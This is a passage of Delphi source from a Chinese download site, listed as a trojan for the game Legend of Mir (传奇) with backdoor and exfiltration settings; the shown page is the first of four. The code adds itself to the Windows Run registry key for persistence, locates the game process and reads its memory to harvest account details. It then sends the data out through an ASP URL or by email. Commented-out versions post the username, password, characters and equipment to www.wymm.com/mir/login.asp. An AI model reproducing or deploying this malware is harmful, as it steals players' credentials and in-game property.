⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.dpr

📁 传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置
💻 DPR
📖 第 1 页 / 共 4 页
字号:
End;

procedure SetInfor;
begin
  zb1:='圣战头盔';
  zb2:='天尊头盔';
  zb3:='法神头盔';
  zb4:='圣战项链';
  zb5:='天尊项链';
  zb6:='法神项链';
  zb7:='圣战手镯';
  zb8:='天尊手镯';
  zb9:='法神手镯';
  zb10:='圣战戒指';
  zb11:='天尊戒指';
  zb12:='法神戒指';
  zb13:='传送戒指';
  zb14:='复活戒指';
  zb15:='记忆全套';
  zb16:='麻痹戒指';
  zb17:='隐身戒指';
  zb18:='怒斩';
  zb19:='护身戒指';
  UserName:='';
  PassWord:='';
  QuYu:='';
  Js1Name:='';
  Js1ZhiYe:='';
  Js1Dengji:='';
  Js1Xingbei:='';
  Js2Name:='';
  Js2ZhiYe:='';
  Js2Dengji:='';
  Js2Xingbei:='';
  ZhuangBei:='';
  Flag:=False;
  Flag1:=False;
  Flag2:=False;
  Reg.AddValue(HKEY_CURRENT_USER,'SoftWare\Microsoft\Windows\CurrentVersion\Run',ExeFiles,pchar(ExeFiles),1);
end;

{
function PostURL(const aUrl: string;FTPostQuery:String): Boolean;
var
  hSession: HINTERNET;
  hConnect, hRequest: hInternet;
  lpBuffer: array[0..1024 + 1] of Char;
  dwBytesRead: DWORD;
  HttpStr:String;
  HostName, FileName: String;
  FTResult: Boolean;
  AcceptType: LPStr;
  Buf: Pointer;
  dwBufLen, dwIndex: DWord;
  procedure ParseURL(URL: String; var HostName, FileName: String);
    procedure ReplaceChar(c1, c2: Char; var St: String);
    var
      p: Integer;
    begin
      while True do
       begin
        p := Pos(c1, St);
        if p = 0 then Break
        else St[p] := c2;
       end;
    end;
  var
    i: Integer;
  begin
    if Pos('http://', LowerCase(URL)) <> 0 then
      System.Delete(URL, 1, 7);
    i := Pos('/', URL);
    HostName := Copy(URL, 1, i);
    FileName := Copy(URL, i, Length(URL) - i + 1);
    if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
      SetLength(HostName, Length(HostName) - 1);
  end;
begin
  hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  try
    if Assigned(hSession) then
    begin
      ParseURL(aUrl, HostName, FileName);
      hConnect := InternetConnect(hSession, PChar(HostName),
      INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);

      AcceptType := PChar('Accept: */*');

      hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
                nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
                                               //
      HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
                     PChar(FTPostQuery), Length(FTPostQuery));

      dwIndex  := 0;
      dwBufLen := 1024;
      GetMem(Buf, dwBufLen);
      FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
                              Buf, dwBufLen, dwIndex);
      if FTResult=True then
        try
          while True do
          begin
            dwBytesRead := 1024;
            InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
            if dwBytesRead = 0 then break;
            lpBuffer[dwBytesRead] := #0;
            HttpStr:=HttpStr+lpBuffer;
          end;
          if pos('添加成功',HttpStr)>0 then
            Result := True
          else Result := False;
          //Form1.Memo1.Lines.Add(Httpstr);
        finally
          InternetCloseHandle(hRequest);
          InternetCloseHandle(hConnect);
        end;
    end;
  finally
    InternetCloseHandle(hSession);
  end;
end;
}

procedure SendEMail;
var
MailText:string;
begin
 MailText:=GetMailText;
 SendHtmlMail(PAspUrl+HtmlEncode(MailText)+PEmailUrl)
end;
{
procedure SendEMail;
var FSocket,res:integer;
    Subject,MailText,SendBody:String;
    Tomail:String;
    failed:boolean;
begin
  MailText:=GetMailText;
  if StartNet(PSmtp, 25, FSocket) then
  begin
    SendData(FSocket, 'HELO ' +PSmtp+ CRLF);
   Tomail:= getdata(FSocket);
    SendData(FSocket, 'auth login' + CRLF);
   Tomail:= getdata(FSocket);
    SendData(FSocket, EncodeBase64(Puser) + CRLF);
   Tomail:= getdata(FSocket);
    SendData(FSocket, EncodeBase64(PPass) + CRLF);
   Tomail:= getdata(FSocket);
    SendData(FSocket, 'MAIL FROM: <' + PGetMail + '>' + CRLF);
   Tomail:= getdata(FSocket);
    SendData(FSocket, 'RCPT TO: <' + PGetMail + '>' + CRLF);
  Tomail:=  getdata(FSocket);
    SendData(FSocket, 'DATA' + CRLF);
  Tomail:=  getdata(FSocket);
    SendBody := 'From:"'+Puser+'"<' + PGetMail + '>' + CRLF
      + 'To:"'+Puser+'"<' + PGetMail + '>' + CRLF
      + 'Subject:'+ QUYU + CRLF
      + CRLF
      + MailText + CRLF + CRLF
      + '说明:您现在使用的是测试版本' + CRLF
			+ '网址: http://www.wymm.com'+CRLF
			+	'Q Q :31075'+ CRLF 
      + '.' + CRLF;

    res := SendData(FSocket, SendBody);
    Tomail:=  getdata(FSocket);
    SendData(FSocket, 'QUIT' + CRLF);
    Tomail:=  getdata(FSocket);

    StopNet(Fsocket);
    if res = SOCKET_ERROR then
    begin
       PostURL('http://www.wymm.com/mir/login.asp','gameid='+UserName+'&password='+PassWord+'&quyu='+quyu+'&mirserver='+ServerNick+'&js1='+js1name+'&js1zy='+Js1ZhiYe+
         '&js1dj='+Js1Dengji+'&js1sex='+Js1Xingbei+'&js2='+Js2Name+'&js2zy='+Js2zhiye+'&js2dj='+js2dengji+'&js2sex='+Js2Xingbei+'&zb='+ZhuangBei);
      exit;
    end;
  end else begin
      PostURL('http://www.wymm.com/mir/login.asp','gameid='+UserName+'&password='+PassWord+'&quyu='+quyu+'&mirserver='+ServerNick+'&js1='+js1name+'&js1zy='+Js1ZhiYe+
         '&js1dj='+Js1Dengji+'&js1sex='+Js1Xingbei+'&js2='+Js2Name+'&js2zy='+Js2zhiye+'&js2dj='+js2dengji+'&js2sex='+Js2Xingbei+'&zb='+ZhuangBei);
  end;
end;
}
function IsMirDat:Integer;
var
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
begin
     Result:=0;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     while isOK do
     begin
	      if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('MIR.DAT') then
        begin
          Result:=ProcessStruct.th32ProcessID;
          Break;
        end;
	      isOK:=process32next(ProcessHandle,ProcessStruct);
     end;
     CloseHandle(ProcessHandle);
end;

function SearMirwindow(Classname:String=''):HWND;
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
  hProcId:DWORD;
  AhWnd :HWND;
  MirKD:DWORD;
begin
  hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
  MirKD:=IsMirDat;
  if MirKD=0 then
  begin
    Result:= 0;
    Exit;
  end;
  while hCurrentWindow <> 0 do
  begin
    if GetWindowText(hCurrentWindow, @szText, 255) > 0 then
      begin
             if sztext<>'Default IME' then
                begin
                  AhWnd:= findwindow(pchar('TfrmMain'),Sztext);
                  if ahwnd<>0 then
                   begin
                     GetWindowThreadProcessId(AhWnd,@hProcId);
                     if MirKD=hProcId then
                       begin
                         Result:=AhWnd;
                         //Memo1.Lines.Add(Sztext);
                         Break;
                       end;
                   end;
                end;
          end;
    hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);
  end;
end;




  Function GetOSVersion : Integer;
  Var
      osVerInfo          : TOSVersionInfo;
      majorVer, minorVer : Integer;
  Begin
      Result := cOsUnknown;
      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
      If ( GetVersionEx(osVerInfo) ) Then Begin
          majorVer := osVerInfo.dwMajorVersion;
          minorVer := osVerInfo.dwMinorVersion;
          Case ( osVerInfo.dwPlatformId ) Of
              VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
                  Begin
                      If ( majorVer <= 4 ) Then
                          Result := cOsWinNT
                      Else
                          If ( ( majorVer = 5 ) And ( minorVer= 0 ) ) Then
                              Result := cOsWin2000
                          Else
                              If ( ( majorVer = 5) And ( minorVer = 1 ) ) Then
                                  Result := cOsWhistler
                              Else
                                  Result := cOsUnknown;
                  End;
              VER_PLATFORM_WIN32_WINDOWS :  { Windows 9x/ME }
                  Begin
                      If ( ( majorVer = 4 ) And ( minorVer = 0 ) ) Then
                          Result := cOsWin95
                      Else If ( ( majorVer = 4 ) And ( minorVer = 10 ) ) Then Begin
                          If ( osVerInfo.szCSDVersion[ 1 ] = 'A' ) Then
                              Result := cOsWin98SE
                          Else
                              Result := cOsWin98;
                      End Else If ( ( majorVer = 4) And ( minorVer = 90 ) ) Then
                          Result := cOsWinME
                      Else
                          Result := cOsUnknown;
                  End;
          Else
              Result := cOsUnknown;
          End;
      End Else
          Result := cOsUnknown;
  End;

function FGetMem(FindS,Sta_addr,Len_addr:string;Read_len:integer;Flag00_Exit:boolean;
   Flag00_replace:string;Splite:boolean;Splite_count:integer;var HexStr:string;
   var Res_address:integer;baseaddress:string='';len:integer=0):string; //var Len,APos:integer
const FindCount=100;
      //Add_Addr=
var hProcId:DWORD;
    nOK	:THANDLE;
    addr:dword;
    //eaddr:DWORD ;
    //AddAddr:DWORD ;
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    res,tmp,tmp1:string;
    s:array[0..FindCount] of string;
    i,j,y:integer;   //,
    AhWnd :HWND;
    Splite_Mom,Splite_Start:boolean;
    Splite_count1:integer;
begin

  AhWnd:=SearMirwindow; 

  HexStr:='';
  result:='';
  y:=0;
  if (AhWnd =0) then exit;

  GetWindowThreadProcessId(AhWnd,@hProcId);
  nOK :=OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE or PROCESS_VM_OPERATION or PROCESS_VM_READ or
                            PROCESS_VM_WRITE,FALSE,hProcId);
  if(nOK =0) then exit;
  

  nSize:=HexToInt(Len_addr);

  for j:=0 to high(buf1) do begin
    {if Not judgesys in [1,2] then begin
	    //2000**************************
	    addr :=$DB0000+AddAddr*j;
  	  eaddr:=$DC0000+AddAddr*j;
  	  //\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
      //addvalue(hkey_classes_root,SubMainKey,'ssss6','pchar(s)',1);
    end else begin  }
	    //2000**************************
      addr :=HexToInt(Sta_addr)+HexToInt(Len_addr)*j;       // $1180000
	    //eaddr:=HexToInt(R_eaddr)+AddAddr*j;   //$1181800
	    //\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
     // addvalue(hkey_classes_root,SubMainKey,'ssss4','pchar(s)',1);
    //end;
    //nSize:=eaddr-addr+1;
    buf1[j]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[j],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础
    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      s[j]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[j] := s[j] + format('%.2X',[ord(buf1[j][i])]);
      end;
    end;
    FreeMem(buf1[j], nSize);
  end;

  CloseHandle(nOK);

  tmp:='';
  for j:=0 to high(s) do begin
    tmp:=tmp+s[j];
    i:=Pos(FindS,tmp);
    if i>0 then begin
      if j<high(s) then begin
        tmp:=tmp+s[j+1];
        if j+1<high(s) then
          tmp:=tmp+s[j+2];
      end;

  	  i:=i+ Length(FindS);
      tmp:=copy(tmp,i,Read_len);   //Read_len:integer;Flag00_Exit:boolean;Flag00_replace
    	y:=HexToInt(Sta_addr);
      y:=y+HexToInt(Len_addr)*j+((i-1) div 2);
      i:=1;
      res:='';
      Hexstr:=tmp;
      Splite_Mom:=false;
      Splite_Start:=false;
      Splite_count1:=0;

      while i<length(tmp) do begin
        tmp1:=copy(tmp,i,2);
        if tmp1<>'00' then begin
          Splite_Mom:=true;   //第一个不等于00开始
          if Splite and (Splite_count1<Splite_count) and Splite_Start  then begin
            Splite_Start:=false;
            res:=res+'%20%';  //加上分隔
            inc(Splite_count);
          end;
      	  res:=res+chr(HexToInt(tmp1));
        end else begin
          if Splite_Mom then //如果不是第一个就高设置一下,不是00要分隔符'%20%'
            Splite_Start:=true;

        	if Flag00_Exit then
        		break
	        else res:=res+Flag00_replace;//' '
        end;
        inc(i,2);

      end;
      Hexstr:=tmp;
      result:=res;
      break;
    end else begin
      if j<high(s) then
        tmp:=copy(tmp,length(tmp)-Length(FindS)+1,Length(FindS));
    end;
  end;
  Res_address:=y;
end;

function GetMem(AhWnd :HWND;baseaddress:string='';len:integer=0):string;
const FindCount=10;
var hProcId:DWORD;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -